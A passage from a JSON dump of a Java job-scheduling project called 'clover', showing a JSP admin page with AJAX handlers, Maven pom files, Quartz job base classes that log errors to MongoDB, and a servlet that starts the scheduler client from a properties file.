tempClientData : filterClientDataList) {\r\n        %>\r\n        <tr>\r\n            <td style=\"text-align: center;\" nowrap>\r\n                <%=(String) tempClientData.get(\"id\")%>\r\n            </td>\r\n\r\n            <td style=\"text-align: center;\" nowrap>\r\n              <a href=\"#\" data-toggle=\"tooltip\" data-placement=\"bottom\"\r\n                 title='<%=tempClientData.get(\"jobClass\")%>'>\r\n                    <%=(tempClientData.get(\"jobClass\")).toString().substring(0, 80)%></a>\r\n            </td>\r\n\r\n            <td style=\"text-align: center;\" nowrap>\r\n                <%=(String) tempClientData.get(\"ip\")%>\r\n            </td>\r\n            <td style=\"text-align: center;\" nowrap>\r\n                <%=(String) tempClientData.get(\"port\")%>\r\n            </td>\r\n            <td style=\"text-align: center;\" nowrap>\r\n                <%=(String) tempClientData.get(\"ts\")%>\r\n            </td>\r\n            <td style=\"text-align: center;\" nowrap>\r\n                <%= tempClientData.get(\"memRatio\")%>\r\n            </td>\r\n            <td style=\"text-align: center;\" nowrap>\r\n                <%= tempClientData.get(\"cpuRatio\")%>\r\n            </td>\r\n            <td style=\"text-align: center;\" nowrap>\r\n                <%= tempClientData.get(\"totalThread\")%>\r\n            </td>\r\n            <%-- <td style=\"text-align: center;\" nowrap>\r\n                 <a data-toggle=\"modal\" onclick=\"toUpdateClient('<%=clientMap.get(DBTableInfo.COL_IP)%>')\"\r\n                    href=\"#\">\r\n                     <i class=\"icon-edit\"></i>更新\r\n                 </a>\r\n                 <a data-toggle=\"modal\" onclick=\"toDeleteClient('<%=clientMap.get(DBTableInfo.COL_IP)%>')\"\r\n                    href=\"#\">\r\n                     <i class=\"icon-remove\"></i>删除\r\n                 </a>\r\n             </td>--%>\r\n        </tr>\r\n        <%\r\n            }\r\n        } else {\r\n        %>\r\n        <tr>\r\n            <td colspan=\"8\" style=\"text-align: center;\" nowrap>暂无相关记录</td>\r\n        </tr>\r\n        <%\r\n            }\r\n        %>\r\n\r\n        </tbody>\r\n    </table>\r\n</div>\r\n\r\n</body>\r\n</html>\r\n\r\n<script type=\"text/javascript\">\r\n    var isClickZeroMq = false;\r\n    function clearQuery() {\r\n        $(\"#qDest\").val(\"\");\r\n        $(\"#qIp\").val(\"\");\r\n        $(\"#qAlive\").val(\"\");\r\n    }\r\n\r\n    function toUpdateServer(ip) {\r\n        $.ajax({\r\n            type: \"POST\",\r\n            url: \"servlet/cloverServletHandle.do?action=handleUpdateZkServerIp&ip=\" + ip,\r\n            data: {\r\n                \"ip\": ip\r\n            },\r\n            success: function (data) {\r\n                if (1 == data) {\r\n                    window.location.reload();\r\n                } else {\r\n                    alert(\"系统出现异常，请联系管理员\");\r\n                    return;\r\n                }\r\n            }\r\n        });\r\n    }\r\n    function toDeleteServer(ip) {\r\n        $.ajax({\r\n            type: \"POST\",\r\n            url: \"servlet/cloverServletHandle.do?action=handleDeleteZkServerIp&ip=\" + ip,\r\n            data: {\r\n                \"ip\": ip\r\n            },\r\n            success: function (data) {\r\n                if (1 == data) {\r\n                    window.location.reload();\r\n                } else {\r\n                    alert(\"系统出现异常，请联系管理员\");\r\n                    return;\r\n                }\r\n            }\r\n        });\r\n    }\r\n    function toUpdateClient(ip) {\r\n        $.ajax({\r\n            type: \"POST\",\r\n            url: \"servlet/cloverServletHandle.do?action=handleUpdateZkClientIp&ip=\" + ip,\r\n            data: {\r\n                \"ip\": ip\r\n            },\r\n            success: function (data) {\r\n                if (1 == data) {\r\n                    window.location.reload();\r\n                } else {\r\n                    alert(\"系统出现异常，请联系管理员\");\r\n                    return;\r\n                }\r\n            }\r\n        });\r\n    }\r\n    function toDeleteClient(ip) {\r\n        $.ajax({\r\n            type: \"POST\",\r\n            url: \"servlet/cloverServletHandle.do?action=handleDeleteZkClientIp&ip=\" + ip,\r\n            data: {\r\n                \"ip\": ip\r\n            },\r\n            success: function (data) {\r\n                if (1 == data) {\r\n                    window.location.reload();\r\n                } else {\r\n                    alert(\"系统出现异常，请联系管理员\");\r\n                    return;\r\n                }\r\n            }\r\n        });\r\n    }\r\n\r\n    function startupZeroMq() {\r\n        if (!isClickZeroMq) {\r\n            var url = \"servlet/cloverServletHandle.do?action=startupZeroMq\";\r\n            $.get(url, null, function (data) {\r\n                if (null == data || data.length == 0) {\r\n                    alert(\"系统出现异常，请联系管理员\");\r\n                    return;\r\n                }\r\n            });\r\n            $('#startupZeroMqBtn').removeClass(\"btn-success\");\r\n            $(\"#startupZeroMqBtn\").html(\"zeromq已启动\");\r\n            $(\"#startupZeroMqBtn\").disabled();\r\n            isClickZeroMq = true;\r\n        }\r\n    }\r\n</script>"
  },
  {
    "path": "clover/clover-admin/src/test/java/TestAnnotationWithSpring.java",
    "content": "import org.junit.Test;\r\nimport org.junit.runner.RunWith;\r\nimport org.springframework.test.context.ContextConfiguration;\r\nimport org.springframework.test.context.junit4.SpringJUnit4ClassRunner;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:clover\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/12/30\r\n * Time: 19:58\r\n */\r\n@ContextConfiguration({\"classpath:spring/spring-config.xml\"})\r\n@RunWith(SpringJUnit4ClassRunner.class)\r\npublic class TestAnnotationWithSpring {\r\n    @Test\r\n    public void testInit(){\r\n        System.err.println(\"testInit\");\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-client/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\r\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\r\n    <modelVersion>4.0.0</modelVersion>\r\n    <parent>\r\n        <groupId>com.gome</groupId>\r\n        <artifactId>clover</artifactId>\r\n        <version>1.0</version>\r\n    </parent>\r\n\r\n    <groupId>com.gome</groupId>\r\n    <artifactId>clover-client</artifactId>\r\n    <version>${clover.version}</version>\r\n    <packaging>jar</packaging>\r\n\r\n    <build>\r\n        <finalName>clover-client-${clover.version}</finalName>\r\n        <resources>\r\n            <resource>\r\n                <directory>src/main/resources</directory>\r\n                <filtering>true</filtering>\r\n            </resource>\r\n        </resources>\r\n    </build>\r\n\r\n    <dependencies>\r\n        <dependency>\r\n            <groupId>com.gome</groupId>\r\n            <artifactId>clover-core</artifactId>\r\n            <version>${clover.version}</version>\r\n        </dependency>\r\n\r\n        <dependency>\r\n            <groupId>org.quartz-scheduler</groupId>\r\n            <artifactId>quartz</artifactId>\r\n            <version>2.2.1</version>\r\n        </dependency>\r\n\r\n        <dependency>\r\n            <groupId>org.mongodb</groupId>\r\n            <artifactId>mongo-java-driver</artifactId>\r\n            <version>2.11.3</version>\r\n\r\n        </dependency>\r\n\r\n        <dependency>\r\n            <groupId>com.alibaba</groupId>\r\n            <artifactId>fastjson</artifactId>\r\n            <version>1.1.31</version>\r\n        </dependency>\r\n\r\n        <dependency>\r\n            <groupId>org.zeromq</groupId>\r\n            <artifactId>jeromq</artifactId>\r\n            <version>0.3.4</version>\r\n        </dependency>\r\n\r\n        <dependency>\r\n            <groupId>javax.mail</groupId>\r\n            <artifactId>mail</artifactId>\r\n            <version>1.5.0-b01</version>\r\n        </dependency>\r\n\r\n        <dependency>\r\n            <groupId>org.apache.curator</groupId>\r\n            <artifactId>curator-framework</artifactId>\r\n            <version>2.7.0</version>\r\n        </dependency>\r\n\r\n        <dependency>\r\n            <groupId>org.springframework</groupId>\r\n            <artifactId>spring-context</artifactId>\r\n            <version>3.2.4.RELEASE</version>\r\n        </dependency>\r\n\r\n        <dependency>\r\n            <groupId>org.springframework</groupId>\r\n            <artifactId>spring-webmvc</artifactId>\r\n            <version>3.2.4.RELEASE</version>\r\n        </dependency>\r\n\r\n        <dependency>\r\n            <groupId>org.xerial.snappy</groupId>\r\n            <artifactId>snappy-java</artifactId>\r\n            <version>1.1.1.6</version>\r\n        </dependency>\r\n\r\n        <dependency>\r\n            <groupId>org.apache.zookeeper</groupId>\r\n            <artifactId>zookeeper</artifactId>\r\n            <version>3.4.5</version>\r\n        </dependency>\r\n        <dependency>\r\n            <groupId>commons</groupId>\r\n            <artifactId>commons-lang3</artifactId>\r\n            <version>3.1</version>\r\n        </dependency>\r\n        <dependency>\r\n            <groupId>org.apache.commons</groupId>\r\n            <artifactId>com.springsource.org.apache.commons.codec</artifactId>\r\n            <version>1.6.0</version>\r\n        </dependency>\r\n        <dependency>\r\n            <groupId>javax.servlet</groupId>\r\n            <artifactId>servlet-api</artifactId>\r\n            <version>2.4</version>\r\n            <scope>provided</scope>\r\n        </dependency>\r\n    </dependencies>\r\n</project>"
  },
  {
    "path": "clover/clover-client/src/main/java/com/gome/bg/clover/client/job/LocalJob.java",
    "content": "package com.gome.bg.clover.client.job;\r\n\r\nimport com.alibaba.fastjson.JSON;\r\nimport com.gome.clover.common.mongodb.BuildMongoDBData;\r\nimport com.gome.clover.common.mongodb.DBTableInfo;\r\nimport com.gome.clover.common.mongodb.MongoDBUtil;\r\nimport org.quartz.Job;\r\nimport org.quartz.JobExecutionContext;\r\nimport org.quartz.JobExecutionException;\r\nimport org.slf4j.Logger;\r\nimport org.slf4j.LoggerFactory;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:Local Job\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/12/2\r\n * Time: 10:33\r\n */\r\npublic abstract class LocalJob implements Job {\r\n    private static final Logger logger = LoggerFactory.getLogger(LocalJob.class);\r\n\r\n    @Override\r\n    public void execute(JobExecutionContext context) throws JobExecutionException {\r\n        try {\r\n            executeJob(context);\r\n            MongoDBUtil.updateOrDeleteDB(context);\r\n        } catch (Exception e) {\r\n            logger.error(\"LocalJob-->>execute(\" + JSON.toJSONString(context) + \") error\", e);\r\n            String execMethod = \"LocalJob-->>execute(\" + JSON.toJSONString(context) + \")\";\r\n            String execResult = \"LocalJob-->>execute(\" + JSON.toJSONString(context) + \") error,\" + e.getMessage();\r\n            MongoDBUtil.INSTANCE.insert(BuildMongoDBData.getInsertLogBasicDBObject(\"\",\r\n                    execMethod, execResult), DBTableInfo.TBL_CLOVER_LOG);\r\n        }\r\n\r\n    }\r\n\r\n\r\n    public abstract void executeJob(JobExecutionContext context);\r\n}\r\n"
  },
  {
    "path": "clover/clover-client/src/main/java/com/gome/bg/clover/client/job/RemoteJob.java",
    "content": "package com.gome.bg.clover.client.job;\r\n\r\nimport com.alibaba.fastjson.JSON;\r\nimport com.gome.clover.common.mongodb.BuildMongoDBData;\r\nimport com.gome.clover.common.mongodb.DBTableInfo;\r\nimport com.gome.clover.common.mongodb.MongoDBUtil;\r\nimport org.quartz.Job;\r\nimport org.quartz.JobExecutionContext;\r\nimport org.quartz.JobExecutionException;\r\nimport org.slf4j.Logger;\r\nimport org.slf4j.LoggerFactory;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:Remote Job\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/12/2\r\n * Time: 10:33\r\n */\r\npublic abstract class RemoteJob implements Job {\r\n    private static final Logger logger = LoggerFactory.getLogger(RemoteJob.class);\r\n\r\n    @Override\r\n    public void execute(JobExecutionContext context) throws JobExecutionException {\r\n        try {\r\n            executeJob(context);\r\n        } catch (Exception e) {\r\n            logger.error(\"RemoteJob-->>execute(\" + JSON.toJSONString(context) + \") error\", e);\r\n            String execMethod = \"RemoteJob-->>execute(\" + JSON.toJSONString(context) + \")\";\r\n            String execResult = \"RemoteJob-->>execute(\" + JSON.toJSONString(context) + \") error,\" + e.getMessage();\r\n            MongoDBUtil.INSTANCE.insert(BuildMongoDBData.getInsertLogBasicDBObject(\"\",\r\n                    execMethod, execResult), DBTableInfo.TBL_CLOVER_LOG);\r\n        }\r\n\r\n    }\r\n\r\n\r\n    public abstract void executeJob(JobExecutionContext context);\r\n}\r\n"
  },
  {
    "path": "clover/clover-client/src/main/java/com/gome/bg/clover/client/job/SimpleJob.java",
    "content": "package com.gome.bg.clover.client.job;\r\n\r\nimport com.alibaba.fastjson.JSON;\r\nimport com.gome.clover.common.mongodb.BuildMongoDBData;\r\nimport com.gome.clover.common.mongodb.DBTableInfo;\r\nimport com.gome.clover.common.mongodb.MongoDBUtil;\r\nimport org.quartz.Job;\r\nimport org.quartz.JobExecutionContext;\r\nimport org.quartz.JobExecutionException;\r\nimport org.slf4j.Logger;\r\nimport org.slf4j.LoggerFactory;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:Simple Job\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/12/2\r\n * Time: 10:33\r\n */\r\npublic abstract class SimpleJob implements Job {\r\n    private static final Logger logger = LoggerFactory.getLogger(SimpleJob.class);\r\n\r\n    @Override\r\n    public void execute(JobExecutionContext context) throws JobExecutionException {\r\n        try {\r\n            executeJob(context);\r\n            MongoDBUtil.updateOrDeleteDB(context);\r\n        } catch (Exception e) {\r\n            logger.error(\"SimpleJob-->>execute(\" + JSON.toJSONString(context) + \") error\", e);\r\n            String execMethod = \"SimpleJob-->>execute(\" + JSON.toJSONString(context) + \")\";\r\n            String execResult = \"SimpleJob-->>execute(\" + JSON.toJSONString(context) + \") error,\" + e.getMessage();\r\n            MongoDBUtil.INSTANCE.insert(BuildMongoDBData.getInsertLogBasicDBObject(\"\",\r\n                    execMethod, execResult), DBTableInfo.TBL_CLOVER_LOG);\r\n        }\r\n\r\n\r\n    }\r\n\r\n\r\n    public abstract void executeJob(JobExecutionContext context);\r\n}\r\n"
  },
  {
    "path": "clover/clover-client/src/main/java/com/gome/bg/clover/client/job/TransactionJob.java",
    "content": "package com.gome.bg.clover.client.job;\r\n\r\nimport com.alibaba.fastjson.JSON;\r\nimport com.gome.clover.common.mongodb.BuildMongoDBData;\r\nimport com.gome.clover.common.mongodb.DBTableInfo;\r\nimport com.gome.clover.common.mongodb.MongoDBUtil;\r\nimport org.quartz.Job;\r\nimport org.quartz.JobExecutionContext;\r\nimport org.quartz.JobExecutionException;\r\nimport org.slf4j.Logger;\r\nimport org.slf4j.LoggerFactory;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:Transaction Job\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/12/2\r\n * Time: 10:33\r\n */\r\npublic abstract class TransactionJob implements Job {\r\n    private static final Logger logger = LoggerFactory.getLogger(TransactionJob.class);\r\n\r\n    @Override\r\n    public void execute(JobExecutionContext context) throws JobExecutionException {\r\n        try {\r\n            executeJob(context);\r\n        } catch (Exception e) {\r\n            logger.error(\"TransactionJob-->>execute(\" + JSON.toJSONString(context) + \") error\", e);\r\n            String execMethod = \"TransactionJob-->>execute(\" + JSON.toJSONString(context) + \")\";\r\n            String execResult = \"TransactionJob-->>execute(\" + JSON.toJSONString(context) + \") error,\" + e.getMessage();\r\n            MongoDBUtil.INSTANCE.insert(BuildMongoDBData.getInsertLogBasicDBObject(\"\",\r\n                    execMethod, execResult), DBTableInfo.TBL_CLOVER_LOG);\r\n        }\r\n\r\n    }\r\n\r\n\r\n    public abstract void executeJob(JobExecutionContext context);\r\n}\r\n"
  },
  {
    "path": "clover/clover-client/src/main/java/com/gome/bg/clover/client/module/SchedulerClientInitial.java",
    "content": "package com.gome.bg.clover.client.module;\r\n\r\nimport com.alibaba.fastjson.JSON;\r\nimport com.gome.clover.common.mongodb.BuildMongoDBData;\r\nimport com.gome.clover.common.mongodb.DBTableInfo;\r\nimport com.gome.clover.common.mongodb.MongoDBUtil;\r\nimport com.gome.clover.common.tools.CommonConstants;\r\nimport com.gome.clover.common.tools.ConfigUtil;\r\nimport com.gome.clover.common.tools.StringUtil;\r\nimport com.gome.clover.core.module.ModuleSchedulerClient;\r\nimport org.slf4j.Logger;\r\nimport org.slf4j.LoggerFactory;\r\nimport org.springframework.beans.factory.annotation.Value;\r\nimport org.springframework.stereotype.Component;\r\n\r\nimport javax.servlet.ServletConfig;\r\nimport javax.servlet.ServletException;\r\nimport javax.servlet.http.HttpServlet;\r\nimport java.util.ArrayList;\r\nimport java.util.List;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:Scheduler 客户端 初始化 Servlet\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/21\r\n * Time: 14:27\r\n */\r\n@Component(\"SchedulerClientInitial\")\r\npublic class SchedulerClientInitial extends HttpServlet {\r\n    private static final long serialVersionUID = 1L;\r\n    private static final Logger logger = LoggerFactory.getLogger(SchedulerClientInitial.class);\r\n    \r\n    public static  String  token = ConfigUtil.getInstance(\"job.properties\").getValue(\"token\");\r\n     \r\n    public static  String  systemId = ConfigUtil.getInstance(\"job.properties\").getValue(\"systemId\");\r\n    \r\n    public static  String  jobClassStr = ConfigUtil.getInstance(\"job.properties\").getValue(\"jobClassStr\");\r\n   \r\n    public static  String  isRegisterToZK = ConfigUtil.getInstance(\"job.properties\").getValue(\"isRegisterToZK\");\r\n    \r\n    public static  String  isStartupNetty = ConfigUtil.getInstance(\"job.properties\").getValue(\"isStartupNetty\");\r\n\r\n\r\n    @Override\r\n    public void init(ServletConfig config) throws ServletException {\r\n        super.init();\r\n        logger.error(\"token>>\"+token+\"*****systemId>>\"+systemId+\"*****jobClassStr>>\"+jobClassStr+\"*****isRegisterToZK>>\"+isRegisterToZK+\"*****isStartupNetty>>\"+isStartupNetty);\r\n       // String token =  config.getInitParameter(\"token\");\r\n        String token =  this.token;\r\n        if (!StringUtil.isEmpty(token)) {\r\n            //String systemId =  config.getInitParameter(\"systemId\");\r\n            String systemId = this.systemId;\r\n            if(StringUtil.isEmpty(systemId))  throw new RuntimeException(\"SchedulerClientInitial-->>init(config) systemId null  \");\r\n            List<String> jobClassList = null;\r\n            //String  jobClassStr = config.getInitParameter(\"jobClassStr\");\r\n            String  jobClassStr = this.jobClassStr;\r\n            boolean  isRegisterToZK = true; //默认是启动的\r\n            //String isRegisterToZKStr =  config.getInitParameter(\"isRegisterToZK\");\r\n            String isRegisterToZKStr =  this.isRegisterToZK;\r\n            if(!StringUtil.isEmpty(isRegisterToZKStr)){\r\n                isRegisterToZK = Boolean.valueOf(isRegisterToZKStr);\r\n            }\r\n            //String isStartupNetty =  config.getInitParameter(\"isStartupNetty\");\r\n            String isStartupNetty = this.isStartupNetty;\r\n            boolean  isStartupNe = true; //默认是启动的\r\n            if(!StringUtil.isEmpty(isStartupNetty)){\r\n                isStartupNe = Boolean.valueOf(isStartupNetty);\r\n            }\r\n            if(!StringUtil.isEmpty(jobClassStr)){\r\n                String jobClassStrs[] = jobClassStr.split(\",\");\r\n                jobClassList = new ArrayList<String>();\r\n                for(String tempJobClass : jobClassStrs){\r\n                    if(!StringUtil.isEmpty(tempJobClass)){\r\n                        jobClassList.add(tempJobClass) ;\r\n                    }\r\n                }\r\n            }\r\n            //String port =  config.getInitParameter(\"port\");\r\n            ModuleSchedulerClient client =  ModuleSchedulerClient.getInstance();\r\n            client.startup(jobClassList, isRegisterToZK, isStartupNe, String.valueOf(CommonConstants.NETTY_SERVER_PORT),systemId,token);\r\n        }else {\r\n            throw new RuntimeException(\"SchedulerClientInitial-->>init(config) token null  \");\r\n        }\r\n        logger.info(\"SchedulerClientInitial-->>init(config)......\");\r\n    }\r\n\r\n    public void init(List<String> jobClassList, boolean isRegisterToZK, boolean isStartupMQ,String port,String systemId,String token) throws ServletException {\r\n        try {\r\n            ModuleSchedulerClient client =  ModuleSchedulerClient.getInstance();\r\n            client.startup(jobClassList,isRegisterToZK,isStartupMQ,port,systemId,token);\r\n        } catch (Exception e) {\r\n            String execMethod = \"SchedulerClientInitial-->>init(\"+ JSON.toJSONString(jobClassList)+\")\";\r\n            String execResult = \"SchedulerClientInitial-->>init(\"+JSON.toJSONString(jobClassList)+\") error ,\"+e.getMessage();\r\n            MongoDBUtil.INSTANCE.insert(BuildMongoDBData.getInsertLogBasicDBObject(\"\",\r\n                    execMethod, execResult), DBTableInfo.TBL_CLOVER_LOG);\r\n        }\r\n        logger.info(\"SchedulerClientInitial-->>init(\"+JSON.toJSONString(jobClassList)+\")......\");\r\n    }\r\n    /**\r\n     * @see HttpServlet#HttpServlet()\r\n     */\r\n    public SchedulerClientInitial() {\r\n        super();\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-common/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\r\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\r\n    <modelVersion>4.0.0</modelVersion>\r\n    <parent>\r\n        <groupId>com.gome</groupId>\r\n        <artifactId>clover</artifactId>\r\n        <version>1.0</version>\r\n    </parent>\r\n\r\n    <groupId>com.gome</groupId>\r\n    <artifactId>clover-common</artifactId>\r\n    <version>${clover.version}</version>\r\n    <packaging>jar</packaging>\r\n\r\n    <build>\r\n        <finalName>clover-common-${clover.version}</finalName>\r\n        <resources>\r\n            <resource>\r\n                <directory>src/main/resources</directory>\r\n                <filtering>true</filtering>\r\n            </resource>\r\n        </resources>\r\n    </build>\r\n</project>"
  },
  {
    "path": "clover/clover-core/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\r\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\r\n    <modelVersion>4.0.0</modelVersion>\r\n    <parent>\r\n        <groupId>com.gome</groupId>\r\n        <artifactId>clover</artifactId>\r\n        <version>1.0</version>\r\n    </parent>\r\n\r\n    <artifactId>clover-core</artifactId>\r\n    <version>${clover.version}</version>\r\n    <packaging>jar</packaging>\r\n\r\n    <build>\r\n        <finalName>clover-core-${clover.version}</finalName>\r\n       <!-- <plugins>\r\n            <plugin>\r\n                <groupId>org.apache.maven.plugins</groupId>\r\n                <artifactId>maven-antrun-plugin</artifactId>\r\n                <executions>\r\n                    <execution>\r\n                        <id>compile</id>\r\n                        <phase>compile</phase>\r\n                        <configuration>\r\n                            <tasks>\r\n                                <echo message=\"********************** copy resources to classpath*************************\"/>\r\n                                <echo message=\"********************** copy ${resources.dir} to classpath*************************\"/>\r\n                                <copy todir=\"target/classes\" overwrite=\"true\">\r\n                                    <fileset dir=\"${resources.dir}\">\r\n                                        <include name=\"*.*\"/>\r\n                                        <include name=\"*/*.*\"/>\r\n                                    </fileset>\r\n                                </copy>\r\n                            </tasks>\r\n                        </configuration>\r\n                        <goals>\r\n                            <goal>run</goal>\r\n                        </goals>\r\n                    </execution>\r\n                </executions>\r\n            </plugin>\r\n        </plugins>\r\n-->\r\n        <resources>\r\n            <resource>\r\n                <directory>src/main/resources</directory>\r\n                <filtering>true</filtering>\r\n            </resource>\r\n        </resources>\r\n    </build>\r\n    <dependencies>\r\n        <!--   <dependency>\r\n               <groupId>com.gome</groupId>\r\n               <artifactId>clover-common</artifactId>\r\n                 <version>${clover.version}</version>\r\n           </dependency>-->\r\n        <dependency>\r\n            <groupId>org.quartz-scheduler</groupId>\r\n            <artifactId>quartz</artifactId>\r\n        </dependency>\r\n        <dependency>\r\n            <groupId>org.mongodb</groupId>\r\n            <artifactId>mongo-java-driver</artifactId>\r\n        </dependency>\r\n        <dependency>\r\n            <groupId>com.alibaba</groupId>\r\n            <artifactId>fastjson</artifactId>\r\n        </dependency>\r\n        <dependency>\r\n            <groupId>javax.servlet</groupId>\r\n            <artifactId>servlet-api</artifactId>\r\n        </dependency>\r\n        <dependency>\r\n            <groupId>org.apache.httpcomponents</groupId>\r\n            <artifactId>com.springsource.org.apache.httpcomponents.httpclient</artifactId>\r\n        </dependency>\r\n        <dependency>\r\n            <groupId>org.apache.httpcomponents</groupId>\r\n            <artifactId>com.springsource.org.apache.httpcomponents.httpcore</artifactId>\r\n        </dependency>\r\n\r\n        <dependency>\r\n            <groupId>io.netty</groupId>\r\n            <artifactId>netty-all</artifactId>\r\n        </dependency>\r\n\r\n\r\n\r\n        <dependency>\r\n            <groupId>com.alibaba.rocketmq</groupId>\r\n            <artifactId>rocketmq-client</artifactId>\r\n        </dependency>\r\n        <dependency>\r\n            <groupId>org.apache.commons</groupId>\r\n            <artifactId>com.springsource.org.apache.commons.codec</artifactId>\r\n        </dependency>\r\n        <dependency>\r\n            <groupId>org.zeromq</groupId>\r\n            <artifactId>jeromq</artifactId>\r\n        </dependency>\r\n        <dependency>\r\n            